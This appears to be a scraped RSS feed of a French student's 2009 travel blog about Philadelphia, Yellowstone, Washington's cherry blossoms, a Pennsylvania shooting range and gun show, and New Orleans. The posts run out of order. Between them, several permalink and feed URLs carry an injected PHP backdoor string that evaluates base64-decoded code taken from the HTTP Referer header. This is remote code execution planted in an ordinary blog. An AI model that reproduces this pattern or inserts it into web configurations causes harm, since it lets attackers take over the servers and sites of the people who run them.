Les derniers jours sont bien remplis! J’ai écris les derniers articles bien calé dans mon fauteuil dans les Hauts-de-Seine, mais je quittais les Etats-Unis le 13 juin. les deux dernières semaines furent haletantes, me laissant peu de temps de repenser à cette année de folie qui venait de s’écouler.

Le vol de retour s’est dans l’ensemble plutôt bien passé, malgré les 4 heures de retard de l’avion à Philadelphie. J’ai refait le plein de charcuterie, de pâtisseries (les macarons, c’est bon!), et le lait a retrouvé du goût! Passé l’euphorie de ces retrouvailles culinaires, vient le temps de repenser à tout ce qu’on a quitté, tout ce qu’on a fait: 13 états traversés,  bien plus de13.000km parcourus en voiture pour les voyages, bien davantage parcourus en avion, deux achats de voitures pour aider l’industrie automobiles américaines à surmonter la crise (et ne me parlez de Nissan ou de Hyndai, avec leurs transmissions qui avalent facilement 200000 miles, et qui consomment peu. J’achète américain, je bouffe du pétrole, et je rachète des transmissions comme je change d’essuie-glace!), et un nombre incalculable de burgers ingurgités.

Je ne pense pas avoir besoin d’en dire beaucoup plus dans cette dernière note, j’imagine que cela s’est ressenti dans mes articles au long de l’année : ce séjour a été incroyable, et je ne peux que conseiller à tous ceux qui auraient l’occasion de réaliser un tel voyage de foncer tête baissée.

Merci à tous ceux qui ont lu ce blog, et qui m’ont laissé des commentaires. La plupart d’entre eux sont aussi en voyage d’étude dans des pays loufoques et incongrus (Ca-na-da…c’est une blague?), et je leur souhaite de passer de bons moments pendant les mois à venir! J’espère que les articles du blog  vous auront été utiles, et si vous avez des questions, n’hésitez pas à me contacter!

Comment pourrait on décrire la journée idéale dans cette ville qui fut pendant une courte période capitale de Etats-unis? On pourrait commencer par se garer aux alentours du Musée d’Art, bâtiment à l’architecture d’inspiration grecque, et qui trône majestueusement à l’entrée de la ville le long du fleuve Delaware. Impossible de visiter ce musée en coup de vent, il faudrait y consacrer au minimum une demi-journée pour avoir une rapide vue d’ensemble, et plus d’un jour pour espérer en faire le tour. A défaut, vous pourrez toujours revivre la montée des marches en vous remémorant cette scène mythique de Rocky. On peut alors admirer la ligne d’horizon de la ville, découpée par ses building entre lesquels se dessinent les timides silhouettes des bâtiments historiques de la ville, tel que le city hall.

Pour gagner le centre ville, on peut descendre le long des quais, aménagés pour le plus grand plaisir des citadins et étudiants qui viennent courir en échappant un petit peu à la circulation. Après avoir slalomé entre les vélos, coureurs, et autres skates, on remontera au niveau de Market Street, bordée par ses grands buildings de bureaux, et qui offre une vue imprenable sur l’hôtel de ville. Si la vue des gratte-ciels ne vous emballe pas plus que ça, bifurquez sur votre droite pour rejoindre les Chestnut et Walnut Streets où se concentrent une grande majorité des boutiques modes et des restaurants tendances de la ville. Sur Walnut Street, vous longerez le Rittenhouse square, entouré d’hôtels particuliers luxueux et de restaurants chics.

Faites un détour par le City Hall, car il serait dommage de ne pas être passé par sa cour intérieure. Sa tour est accessible, mais mieux vaut réserver ses billets tôt dans la matinée. Jusqu’aux années 70, il était d’ailleurs interdit de construire des immeubles dépassant la statue de William Penn, le fondateur philanthrope de Philadelphie, juchée en haut de cet édifice, ce qui explique en partie pourquoi la ville compte si peu de gratte-ciels comparé à ses consœurs de la côte Est.

Vous pouvez alors gagner le sud de la ville en slalomant au hasard entre les pâtés de maisons des quartiers résidentiels au charme anglais. Une fois sur la South Street, remontez la rue vers l’Est. Ce quartier a longtemps été le berceau artistique de la ville, et encore aujourd’hui, on tombe sur des concerts de rue, des maisons entièrement recouvertes de mosaïques, ou faites en bouteilles de verre, les boutiques d’influence culture pop’ fleurissent…c’est le quartier bohème de la ville, l’un des principaux sites touristiques de la ville.

Si vous avez faim, passez chez Jim’s pour tester le Philly cheese steak, ou bien arrêtez vous au Johnny Rocket, savourer un milk shake dans un décor de « diner»  américain des années 50. Via des petits jukeboxes, vous choisissez la musique diffusée dans le restaurant, et à certaines heures, le staff vous gratifiera d’une petite chorégraphie.

Remontez ensuite le long de la 5th Street vers le nord, afin de pénétrer dans le quartier historique de la ville. Independance Hall, le Constitution Center sont à visiter impérativement pour s’imprégner davantage de la riche historique de cette ville, qui a joué un rôle de tout premier plan lorsque les meneurs de la révolution américaine cherchaient à marquer à jamais la nouvelle nation de leur vision de la liberté et de l’indépendance. Outre l’aspect historique, le quartier est parsemé de nombreux parcs, qui le rendent très agréable.

En remontant encore, au niveau de Race Street, et aux alentours de la 11th Street, vous entrez dans le quartier chinois de la ville. Même si il ne rivalise pas avec celui de New York, c’est le lieu idéal pour déguster de la cuisine chinoise authentique, certains menus peuvent surprendre!

La nuit ne devrait pas tarder. Si il vous reste encore des jambes, et si elles ont envie de danser, rien de tel que se balader au niveau de la 2nd Street, entre Race Street et Market Street, où sont regroupés une grande partie des bars de la ville, et où se retrouvent les étudiants le week-end. Ambiance salsa, rock, bar, restaurants, vous trouverez dans le coin de quoi finir agréablement la soirée. N’oubliez pas votre pièce d’identité!

La journée se termine bientôt, courage! Pour revenir vers le musée, pourquoi ne pas remonter le Benjamin Franklin Parkway qui part du city hall et remonte jusqu’à la rivière? Ces champs élysées de Philadelphie sont bordés des drapeaux de tous les pays du monde, et donnent une magnifique vue sur Philadelphie de nuit. Une fois arrivé au musée, contournez le par le nord, et gagnez les rives. Vous devriez trouver un petit kiosque d’où vous pourrez admirer le Boathouse Row, une rangée de petites maisons classées site historique national, et qui hébergent les équipes d’aviron des universités locales. La nuit, les petites bâtisses s’illuminent et leurs décorations embrasent la rivière. Après un dernier regard sur la belle skyline de Philadelphia, vous êtes prêts à partir…et définitivement pressés de revenir.

« But it’s much too late for now to be like yesterday
And the time is running out and we still have to say
Goodbye» 

Galerie photo de Philadelphie (cliquez sur les vignettes pour voir la photo) :

Nous redescendons vers Fort Mammoth, qui hébergeait les premiers régiments de soldats chargés de surveiller le parc à l’origine. C’est la seule ville ouverte toute l’année, et l’on peut y visiter des musées retraçant l’histoire des trappeurs venus explorer les zones sauvages et mystérieuses de ce qui deviendra en 1872 le parc Yellowstone.

Près de la ville se situe le site de « Mammoth hot springs» , une colline entièrement constituée du calcaire déposé au fil des siècles par l’eau jaillissant des sources chaudes. L’érosion a aussi joué son rôle en dessinant de curieux motifs le long de la pierre, faisant apparaître un canevas régulier. De nombreuses terrasses se sont aussi formées, sculptant des escaliers loufoques dans la roche. On alterne ici entre sources chaudes, rigoles d’eau aux couleurs extravagantes, paysages désertiques.

Nous faisons rapidement le tour du site, et nous dirigeons vers Norris Geyser Basin, qui regroupe lui aussi une grande quantité de geysers comme son nom l’indique. Sur la route, nous tombons sur un rassemblement comme il est courant d’en rencontrer au parc : de nombreuses voitures sont arrêtées sur le bord de la route, les gens sortent des appareils photos aux objectifs aussi longs que leur trépied, et des rangers font la circulation. C’est signe qu’une bête sauvage a été vue dans les environs. Attention cependant : il nous est parfois arrivé de nous arrêter à la vue de ce genre d’attroupements : après avoir interrogé les gens sur l’origine de cette agitation, on nous informait qu’un ours avait été aperçu….il y avait 5h de ça. Mais pour les gens patients et passionnés d’animaux, il vaut mieux s’arrêter afin d’être sûr de ne rien rater.

Cette fois ci nous avons de la chance : il s’agit d’un petit grizzly qui déguste son repas à quelques dizaines de mètres de la route. Nous avions déjà aperçu des élans, des ours bruns et autres coyotes auparavant, mais c’est notre premier grizzly.

Nous arrivons finalement à Norris Geyser Basin où nous attend un paysage lunaire parsemé de sources chaudes. Le site est assez grand, nous y passerons une grande partie de l’après midi. Par la suite nous nous baladerons dans différents points en nous dirigeant vers West Yellowstone, où nous attend notre hôtel. J’avoue ne pas me rappeler en détail de tous les sites que nous avons visité cet après midi là.

Le lendemain matin, nous disposons de peu de temps avant de devoir reprendre la route vers l’aéroport. Nous avons repéré une petite randonnée partant de Lower Geyser Basin, et qui permet de gagner les collines bordant le Grand Prismatic évoqué dans la note précédente. En prenant ainsi un peu de hauteur, on peut enfin apprécier totalement l’immense piscine d’eau chaude aux couleurs si particulières. C’est une vision parfaite pour dire au revoir au parc.

Nous avons profité de 5 journées vraiment magnifiques, avec au final très peu de pluie. Mais nous n’avons eu le temps de faire que le minimum, et les amoureux de nature et de randonnées pourraient facilement passer deux semaines sans s’ennuyer dans ce refuge vert. C’est un lieu vraiment unique au monde de par sa beauté et sa diversité, à faire absolument si vous avez le temps et l’argent (les avions, les hôtels reviennent vite chères). J’ai vraiment passé un séjour inoubliable!

Galerie photo des quatrième et cinquième jours (cliquez sur les vignettes pour voir la photo) :

]]> http://www.aquineascollection.com/blog/2009/06/18/yellowstone-jour-4-et-5/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 2 http://www.aquineascollection.com/blog/2009/06/18/yellowstone-jour-3/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.aquineascollection.com/blog/2009/06/18/yellowstone-jour-3/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 18 Jun 2009 12:44:11 +0000 Aquineas http://www.aquineascollection.com/blog/?p=59 Deuxième levé de soleil glacé. Pour cette seconde nuit, nous dormions encore une fois dans la chaîne d’hôtels internes du parc.

Si ces hôtels s’avèrent très pratiques car ils permettent de ne pas avoir à sortir du parc, ils sont en revanche très chers, et le petit déjeuner n’est pas inclus, et à part dormir, il n’y a pas grand chose à y faire le soir. Si vous avez assez de temps pour perdre 30 minutes de voiture le matin, il peut être intéressant de préférer prendre un hôtel dans les villes aux entrées de yellowstone, comme Gardiner au nord ou West Yellowstone à l’ouest.

Réveil aux aurores pour cette troisième journée, car nous voulions assister au lever de soleil sur le lac Yellowstone. Les températures sont encore globalement basses, si bien que des amoncellements de glace bordent encore ses rives. Le ciel est un peu nuageux, et annonce une journée couverte, mais le spectacle reste tout de même magnifique.

Une fois un peu mieux réveillés et ragaillardi par un frugal petit déjeuner, nous nous dirigeons vers le nord, direction Mud Volcano. Si le nom semble assez impressionnant, il est surtout exagéré. Plus de traces de « volcans de boue»  depuis longtemps sur le site, il s’agirait plutôt de piscines de boue chauffée, d’où s’échappent par intermittence des flatulence de gaz, provoquant l’explosion de petites bulles à la surface des bains de boue. Les chemins permettent d’accéder à différents sites encore actifs, et regarder les bulles exploser grassement à la surface de ces piscines argileuses est assez hypnotisant curieusement.

Après les volcans boueux, on traverse l’Hayden Valley, où viennent se regrouper d’immenses troupeaux de bisons. C’est la première fois que nous les voyons courir : à la réflexion, nous n’irons pas les provoquer finalement, les bougres ont développé un certain talent pour la course à pied… Si on essaye de ne pas trop se soucier des bisons, on peut alors se concentrer sur l’immensité des plaines qui nous entourent. Car Yellowstone ce n’est pas que des geysers, c’est aussi des paysages somptueux par leur immensité. Difficile de dire où commence et où finit le parc, de tous côtés nos yeux se posent sur la nature qui dévore l’horizon.

Question grandeur nous allons être servis, car notre prochaine escale est le Grand Canyon…of Yellowstone. Celui-ci borde la Yellowstone river qui a donné son nom au parc. Il est possible de marcher sur chacune des deux rives du canyon via des chemins de randonnées assez faciles d’accès, même si cela dépend du temps : en mai, certains petits bouts de sentiers étaient fermés, et une grand partie du chemin était recouvert de neige. Malgré ça, la balade vaut vraiment le coup, on en prend encore une fois plein les yeux. Des cartes affichées sur place expliquent comment accéder aux différents points de vue, et le parcours n’est pas très long, comptez une heure trente pour longer la rive sud, vous aurez une très belle vue sur les Lower et Upper Falls. Pour la rive nord, nous avons surtout pris la voiture, car la vue semblait moins intéressante pour faire tout à pied.

Le temps s’est malheureusement un peu gâté en fin d’après midi. Après un rapide arrêt au « petrified tree»  (on en rit encore…), nous avons regagné la ville de Gardiner, au nord du parc, où nous avions réservé l’hôtel. Notre dernière escale de la journée fut le K-bar : de très nombreuses bières originales, à un prix défiant toute concurrence (idem pour les coktails), des serveuses blasées depuis bien longtemps des geysers, mais malgré tout très sympas et qui ne vérifient pas les I.D.. Le Montana est un état d’avenir.

Galerie photo du troisième jour (cliquez sur les vignettes pour voir la photo) :

Nous commençons par une petite marche vers le nord-est du site, afin de monter un peu en altitude et de gagner l’observation point, d’où nous jouissons d’une magnifique vue sur l’ensemble du complexe hôtelier…ah oui, et sur les geysers aussi un peu. Notre enthousiasme est légèrement ébranlé par cette victoire de l’immobilier sur la nature, mais la déception est de courte durée, car sur le chemin nous rencontrons Robert. Son histoire est encore incertaine et confuse, mais ce que nous savons de source sûre (de Bob lui même en fait…), c’est qu’un léger strabisme, une prothèse à la hanche droite, et 14 coups de couteau reçus à Carson City ne l’ont pas empêché de parcourir plus de 6000 miles à pied dans Yellowstone en 10 ans. On peut donc être assurés qu’il le connait, le parc. Après le récit haletant de ces anecdotes, Bob nous conseille de nous rendre au Solitary Pool, quelques centaines de mètres plus loin. Charmés par le charisme et l’expérience du randonneur, nous suivons ses indications. Quelques minutes plus tard nous voila au pied d’un petit geyser aux bulles timides. Pas de grosses éruptions pour lui, ça fait longtemps que ce vieux geyser ne se contente plus que de petites ébullitions à sa surface, toutes les deux minutes.

Alentours, les arbres semblent calcinés, drôle d’impression au milieu de la forêt verdoyante. Alors que nous flânons, Robert nous retrouve et nous propose une petite virée à travers la forêt pour aller observer un groupement d’ossements. A mon avis, si les journaux du lendemain n’ont pas eu comme gros titres « les corps de 4 français retrouvés dans un parc national américain» , c’est que l’enthousiasme de Bob s’est rapidement effacé au fur et à mesure qu’il se rendait compte qu’il s’était perdu.

Après cette petite disgrétion, nous reprenons le chemin touristique qui sillonne autour de Upper Geyser Basin. Je ne ferai pas de description de tous les geysers, on s’en lasserait. Je dirai juste que la concentration, tout autant que la diversité de ces curiosités géothermiques sont impressionnantes. Des colorés, des agités, certains étroits, d’autres étalent leurs longues tentacules de terres colorées à des dizaines de mètres autour d’eux… chaque geyser semble unique…presque. Nous apprendrons un peu plus tard au cours de notre périple que quelque serveuse de bar du Montana ne partage pas notre enthousiasme.

Après avoir passé près de deux heures à vagabonder parmi les effluves de vapeurs sulfurisées, nous préférons retrouver les charmes simples d’un petit chemin de randonnée moins touristique, afin d’aller admirer les Mystic Falls. Le départ du parcours se situe juste à côté de Midway Geyser Bassin, qui était notre prochain étape, plus au nord de Upper Geyser Basin, et nous tombons sur un panneau assez accueillant, nous rappelant qu’il n’y pas si longtemps, le chemin était fermé à cause de la présence d’ours. Peu impressionnables, nous nous aventurons malgré tout sur les sentiers de la peur, bien disposés à cueillir dès aujourd’hui les splendeurs que mère nature a semées un peu partout dans le parc. Et nous avions raison : point d’ursidés, mais nous profitâmes d’une marche forte agréable.

Nous partons maintenant sur Midway Geyser Basin, principalement connu pour Grand Prismatic, la plus large source d’eau chaude du parc (plus de 110 mètres de diamètre). Impossible de cerner l’immense source bleutée d’un seul coup d’oeil. Ses magnifiques couleurs nous font presque oublier le calvaire qu’a enduré notre nez pour parvenir jusqu’ici. Ce point est tout simplement magnifique. Nous repérons une petite colline bordant la source, et décidons d’y revenir le dernier jour afin d’avoir une vue en hauteur sur Grand Prismatic.

Pour l’heure, la journée est bien avancée, nous décidons de reprendre la voiture et d’aller nous balader le long de Yellowstone Lake, avant de rejoindre Lake Village où nous avons pris notre deuxième hôtel. Les activités le soir sont assez limitées, nous décidons donc de nous coucher tôt pour nous réveiller aux aurores le lendemain.

Galerie photo du deuxième jour (cliquez sur les vignettes pour voir la photo) :

]]> http://www.aquineascollection.com/blog/2009/06/17/yellowstone-jour-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 2 http://www.aquineascollection.com/blog/2009/06/04/yellowstone-jour-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.aquineascollection.com/blog/2009/06/04/yellowstone-jour-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 04 Jun 2009 21:37:14 +0000 Aquineas http://www.aquineascollection.com/blog/?p=57 Pas beaucoup de mises à jour depuis un bon moment pour ce p’tit blog, on dira que le fait que j’ai beaucoup à préparer pour mon prochain retour vers la France (dans 10 jours) est une excuse partielle. La fin du stage s’approche donc à grand pas, mais les voyages n’en sont pas pour autant terminer. Afin de clore cette année en beauté, je suis parti avec 3 amis dans le Parc National de Yellowstone, situé (principalement) dans le Wyoming pour 4 jours.

Le parc s’étend sur près de 9000km², et contient deux tiers des geysers de la planète (soit une belle concentration de geyser au mètre carré). Il s’agit aussi du plus ancien parc national américain, fondé en 1872 par le Président Grant pour en faire un lieu « exempt d’exploitation mercantile» . Le prix de la nourriture et des casquettes peut cependant faire douter de l’accomplissement de ce vœu.

Yellowstone est donc depuis cette époque un sanctuaire unique au monde de par sa richesse géologique, florale et animale. Si vous rêvez de voir des bisons patauger dans des sources chaudes, au cœur de vastes plaines s’étendant au pied de majestueuses montagnes boisées, vous avez trouvé votre Nirvana.

Départ le 22 mai à 6h de Philadelphie, pour profiter du Memorial Day (jour férié américain). La grand majorité du parc n’est ouverte qu’à partir de mai, et beaucoup de sites ferment dès la fin septembre. Le parc reste donc accessible pendant un temps relativement court,  ce qui fait que les avions et hôtels se remplissent très vite. Après deux changements, nous nous posons à 12h à l’aéroport de Jackson Hole, au sud du parc. Avant d’entrer dans le Yellowstone, ne devons traverser Grand Teton National Park, dont les lacs bordés de montagnes sont un régal pour les yeux. Pour ceux qui s’interrogeraient sur l’origine du nom de ce parc (Teton n’a pas de signification en anglais), je me contenterai de citer mon guide « voila ce qui arrive quand on laisse des trappeurs français baptiser une chaîne de montagne» .

Première surprise, en dépit des températures assez élevées, la neige est toujours présente, certains lacs sont même encore gelés. Malgré quelques arrêts, nous traversons assez rapidement Grand Teton car nous avons déjà beaucoup à faire dans Yellowstone. Si vous avez un peu de temps, des magnifiques randonnées sont accessibles, notamment dans les montagnes.

Vient finalement l’entrée dans Yellowstone, par le sud. Nous avançons sur des « petites»  routes de montagnes (petites au sens américain, il faut quand même faire passer les caravanes), et longeons la Lewis river. Nous effectuons régulièrement des petites haltes afin de profiter du spectacle : on alterne entre petit sbras d’eau calmes dans la plaine, gorges et chutes d’eau…Pas encore d’animaux étranges en vue, mais nous voila  déjà dans un autre monde.

Finalement la route nous emmène à West Thumb Geyser Basin, petite plaine longeant le lac West Thumb, recouverte des sources chaudes. Première rencontre avec ces curiosité géothermiques : un petit bassin d’eau chaude, qui pue l’œuf dans la plupart des cas, mais les couleurs incroyables excusent mille fois la torture nasale : le « Black pool» , ironiquement, étale majestueusement ses dégradés de jaunes et de bleus, avant de sombrer dans un noir insondable en son cœur, tandis que l’Abyss pool nous hypnotise par son bleu profond, qui semble sans fin.

Nous repartons vers la voiture quand nous tombons sur un troupeau d’élans venus se désaltérer dans le lac voisin. Leurs bois sont tombés, et la fourrure d’hiver est encore présente par touffes, cela leur donne une piteuse apparence assez comique.

Le soleil descendant petit à petit, nous continuons notre route vers notre hôtel, situé à Old Faithful. Après d’autres petits arrêts pour admirer quelques cascades ou lacs, nous arrivons à destination.

Old Faithful est en fait le plus gros geyser facilement prévisible du parc, ce qui en fait une des principales attractions. En conséquence, et malheureusement, l’endroit a été lourdement aménagé : de larges esplanades bordent le site, 3 ou 4 imposants hôtels ont été construits à moins de 100 mètres de là. On perd vraiment l’aspect naturel de ce champs de geysers. Nous prenons un rapide dîner à la cafétéria du coin, nous avons juste le temps de manger avant la prochaine éruption du vieux geyser, celles-ci ce succédant toutes les 90 minutes environs. En attendant ce moment, nous pouvoir admirer à loisir cette large étendue de roches volcaniques, d’où sortent de nombreuses fumerolles indiquant les geysers et autres sources chaudes.  Très vite, la vapeur sortant de Old Faithful s’intensifie, et à l’heure estimée par les Rangers, le spectacle commence! Sur fond de soleil couchant, le geyser crache l’eau sous pression qui a été chauffée dans les profondeurs de la terre, au contact des poches de magma. Quand la pression devient trop forte, l’eau jaillit violemment à plus de 30 mètres d’altitude.

Le spectacle dure moins de 5 minutes. La nuit est maintenant bientôt là, la température est retombée près de zéro. Nous rejoignons nos bungalows, pressés de découvrir les milles merveilles du site après une courte nuit de sommeil.

Galerie photo du premier jour (cliquez sur les vignettes pour voir la photo) :

]]> http://www.aquineascollection.com/blog/2009/06/04/yellowstone-jour-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 4 http://www.aquineascollection.com/blog/2009/04/13/cherry-blossom-festival-a-washington/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.aquineascollection.com/blog/2009/04/13/cherry-blossom-festival-a-washington/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 12 Apr 2009 22:25:42 +0000 Aquineas http://www.aquineascollection.com/blog/?p=56 A l’heure où certains expatriés se pavanent crânement d’être au Japon et de pouvoir admirer inlassablement le spectacle de cerisiers en fleurs, je me dois de rétablir la vérité. Ici aussi nous avons droit à ce paysage magnifique, certes sans les sushis qui vont avec, mais un fin gourmet reconnaîtra qu’un burger est tout aussi savoureux.

Ainsi, au début du mois d’avril se tient à Washington D.C. le Cherry blossom festival qui célèbre l’éclosion des bourgeons des cerisiers. Ces arbres furent offerts par le maire de Tokyo Yukio Ozaki en 1912 pour renforcer les liens d’amitiés entre les Etats-Unis et le Japon. A défaut d’avoir donné des résultats probants sur le plan diplomatique, ce cadeau nous permet de profiter chaque année d’un magnifique spectacle sur les rives du Tidal Bassin. Plusieurs rangées de cerisiers se couvrent de blanc, donnant à ce lac une dimension romantique toute particulière. Le côté idyllique étant cependant amoindri par la foule qui se presse en ce week-end de festivités. Pour les balades en amoureux, mieux vaut attendre la semaine ou un week-end plus calme.

Mais les cerisiers du Tidal Bassin ne sont pas les seuls a capter l’émerveillement des touristes. Les jardins du Smithsonians Institution Building sont aussi très agréables à parcourir, et vous pourrez savourez un petit moment de détente sur un banc à l’ombre des arbres en fleurs.

Autre passage à conseiller, une petite balade devant le Capitol vous permettra d’admirer le bâtiment abritant le congrès américain sous un œil nouveau, avec en premier plan les fleurs de magnolias fraîchement écloses.

Outre les petits plaisirs bucoliques, une parade est organisée le matin vers 10h. On retrouve les grands classiques qu’on a déjà pu voir au 4 juillet : fanfares d’écoles, quelques militaires, les collectionneurs de voitures américaines faisant défiler leur écurie et autres collectifs artistiques, caritatifs etc… Finalement, que ce soit pour la fête nationale, le nouvel an chinois, halloween, ou un festival de fleurs, tous les défilés américains se ressemblent plus ou moins.

Un peu plus loin, sur la Pennsylvania Avenue, se tient un marché japonais, avec démonstration d’arts martiaux, vente de produits asiatiques, expositions d’art. Si la rue n’était pas aussi bondée, ça en serait agréable. Des stands tenus par les militaires sont aussi présents, l’occasion de faire une petite photo sur un véhicule médical.

Le soleil était au rendez-vous, c’était une occasion idéale pour redécouvrir un peu la capitale transformée par le retour du printemps!

Après cette magnifique introduction qui à elle seule me garantie le prochain prix Pulitzer, voici quelques faits sur les armes en Pennsylvanie :

-Pas besoin de permis pour acheter des armes de poing/fusils. Si vous avez plus de 18 ans, et pas de casier judiciaire, il vous suffit de vous rendre chez un vendeur ou dans une « foire aux armes»  (gun show) avec une ID, et après un rapide coup d’œil à votre casier, vous pouvez acheter une arme.

-Il est illégal pour la Pennsylvanie d’enregistrer le nom des gens achetant des armes.

-en 98, cet état comptait plus d’un million de chasseurs licenciés sur 12 millions d’habitants, un record aux USA (pour ceux qui suivent, il n’est bien sûr pas du nécessaire d’être chasseur pour posséder une arme).

-La Pennsylvanie est le second état accueillant le plus de foire aux armes par an.

-A Philadelphie, en 2008, plus de 400 morts par armes à feu ont été reportées.

Le genre d’infos qui tendent à vous rendre serein, et à limiter les gestes rageurs au volant quand quelqu’un vous klaxonne.

Puisque manifestement, et contre toute attente en ce qui me concerne, nous sommes dans un état de cow-boys fanas de la gâchette, autant se fondre dans la masse et s’ouvrir aux nouvelles expériences. Nous nous rendons à 4  à un stand de tir proche de King of Prussia. « Avez vous déjà tiré?»  Nous demande le patron. Mon colocataire mexicain, niant ses liens évident avec les cartels, répond par la négative, nous l’imitons. Après lui avoir remis nos pièces d’identité, nous avons le droit à 30 secondes de cours sur la prise en main et le rechargement des armes. Pas de blabla inutile sur la sécurité, rien. Quand on travaille la semaine dans une société où le maniement d’un tournevis nécessite 2 heures de training, et la validation de du protocole expérimental par la moitié du département HSE, ça fait un choc.

Pour notre première fois, nous y allons doucement sur le calibre : nous choisissons pour se faire la main le Walther P22, qui accepte des balles de calibre .22, ainsi qu’un Beretta PX4 Storm, qui envoie des balles de 9mm. Le temps de choisir ses cibles (au choix : gros moustachu patibulaire, ours, femme armée en mini-jupe, vous trouverez votre bonheur…), et nous voici sur le stand.

« Mouahaha, j’ai sous la main un pistolet et 50 balles, l’humanité va payer!» . Une fois que l’on s’est convaincu que le gars entrain de tirer à côté de soi ne pense pas forcément ça, et qu’il y’a peu de chance qu’il se retourne pour vous tirer dessus, il est temps de se concentrer, de remplir le chargeur du pistolet, de l’insérer dans l’arme, de viser en se rappelant des conseils du vendeur, puis de presser la gâchette. Je m’attendais à ce qu’à un moment, la mécanique se fasse ressentir, et que la pression sur l’arc métallique soit plus fort, laissant au tireur ce petit moment où il pourrait se demander si finir de contracter son doigt est la meilleure des choses à faire. Mais ce petit fragment de temps n’existe pas : le doigt arrive en bout de course sans prévenir, et le coup part. Le bruit vrille vos tympans malgré le casque, le recul appui lourdement sur vos bras, l’odeur de poudre empli vos narines. Ca y est, vous avez tiré. La cible est maintenant ornée d’un petit trou, assez loin de l’endroit que j’avais visé.

Avec le beretta, le recul est assez important, même à deux mains. Pas évident de bien viser, alors que la cible n’est qu’à une dizaine de mètres. Le P22, avec ses balles de « seulement»  5,7mm, permet d’être plus précis et de mieux placer ses coups. Au bout de deux chargeurs, on arrive à insérer plus facilement les balles dans le magasin de l’arme, et on gagne un peu en précision.

Après avoir plombé 1 ours, 2 femmes menaçantes, 2 preneurs d’otages, et 2 cibles d’entraînement classiques, nous avons épuisé notre stock de balles. Nous rendons le matériel, et après une dernière photo avec entre les mains un fusil d’assaut M4, nous rentrons. L’expérience aura coûté 40$ pour le P22 avec 50 balles, et 70$ pour le beretta.

Coïncidence cocasse, deux semaines après avoir tiré, j’apprends que se tiendra dans notre ville un des fameux « gun show» , où des vendeurs et des collectionneurs de nombreux états viennent exposer leur collection, et où le tout-venant peut venir faire son petit stock d’arme pour l’hiver. Pendant un week-end, 5000m² vont être recouverts de stands où s’empileront des milliers d’armes, allant du couteau suisse au fusil d’assaut militaire.

Tout excité à l’annonce de l’événement, j’ai fait chauffer les batteries de l’appareil photo, et nous nous rendons le dimanche midi à cette foire peu banale. Sur le parking,  les énormes 4×4 dominent, et les plaques montrent que les gens viennent de loin. C’est la première exposition de ma vie où on me demande à l’entrée si j’ai une arme sur moi. Il faut dire que beaucoup arrivent avec leur joujou préféré, qui se retrouvera scellé par le policier présent. Dans les allées, certains amateurs déambulent fièrement, en tenant de la main gauche leur petit gamin, et de l’autre leur fusil de chasse. Je sors l’appareil photo, et j’ai le temps de prendre un cliché de mon ami posant avec une kalashnikov, avant de me faire escorter vers la sortie par un vigile. Apparemment, et même si ce n’est indiqué nul part, les photos sont interdites. Profitez bien de la photo, ce sera là seule, à mon gigantesque regret :

Après avoir ramené l’appareil dans la voiture, nous revoilà partis à la découverte de ce monde merveilleux, sponsorisé par la NRA. Les prix sont affolants : seulement 200$ pour un pistolet, 300$ pour un fusil à pompe en solde, 1200$ pour un fusil d’assaut… La chasse doit effectivement être excitante en Pennsylvanie. Il est aussi possible d’acheter des T-shirts assez éloquents : mention très spéciale à l’un d’entre eux, sur lequel on pouvait lire « stay 100 meters back or you will be shot» . Détail intéressant, en dessous de cette première phrase, on peut lire sur le T-shirt la traduction…en arabe. Au dos du vêtement est inscrit le mot « infidèl» , lui aussi traduit. Sur les stands, on passe d’armes de collection datant des guerres mondiales, d’indépendant américaine, aux armes très récentes, avec tout l’équipement nécessaire pour les personnaliser à l’infini : pointeurs laser, lunettes de vision nocturne, téléscop…heu lunettes de visée, tout est là pour mener à bien votre petite guerr…votre petite chasse. La quantité de matériel exposé est tout simplement hallucinante. Il y a de quoi renverser un petit pays.

La visite aura été intéressante, c’était la première fois que j’étais confronté à cette face plus radicale de l’amérique. J’en resterai là pendant un p’tit bout de temps.

Outre échapper à l’hiver, le timing est aussi justifié par le début des préparatifs du mardi-gras, qui se tiendra le 24 février. Mais y assister coûte entre un et deux bras, aussi décidons nous de faire le voyage pour profiter d’une des parades qui ont lieu les week-ends précédents le « fat tuesday» . Nous arrivons en avion le vendredi soir, vers 22h. Le quartier historique de la Nouvelle-Orléans, s’appelle le French Quarter: Facilement reconnaissable par ses maisons à l’architecture typique, avec leurs grands balcons en fer forgé, il fut largement épargné par Katrina et regroupe la majeure partie des activités touristiques et festives de la ville. Il est en revanche coûteux de s’y loger, nous avons donc choisi un petit hôtel situé au Sud Ouest du quartier, à trois blocs.

Le temps de poser nos bagages, nous votons le décret stipulant qu’il serait honteux de gâcher une soirée dans cette ville soit disant endiablée, et nous sortons donc dans la Bourbon Street au cœur du French quarter, vers laquelle converge la plus grande partie de l’activité nocturne de la Nouvelle-Orléans. L’organisation de cette rue est plutôt simple : coupez la circulation en voiture, alternez successivement bars et boîtes de strip-tease, ce pendant 10 pâtés de maisons, et vous aurez un bon aperçu de cette fameuse rue. La rue est remplie de jeunes armés de bouteilles en plastique en forme de palmier remplies de différents cocktails locaux, qui déambulent fièrement, avec dans leur regard cette détermination propre à celui qui s’est donné pour mission d’écumer le plus de bar possible en une soirée.

L’autre petite particularité de la rue Bourbon, ce sont ces grand balcons qui ornent presque chaque maison, que ce soit un logement de particulier, un hôtel, ou un bar. Invariablement, ces fameux balcons sont squattés par des dizaines de personnes, armées de dizaines de colliers de perle en plastique, les fameux « beads« . A l’origine, ces colliers étaient constitués d’un enfilement de babioles en verre coloré, que les artistes défilant dans les rues jetaient aux spectateurs venus assister aux défilés. Mais désormais, ces colliers sont lancés aux fêtards marchant dans la rue, certaines filles allant jusqu’à échanger le collier contre un bref aperçu de leur poitrine.

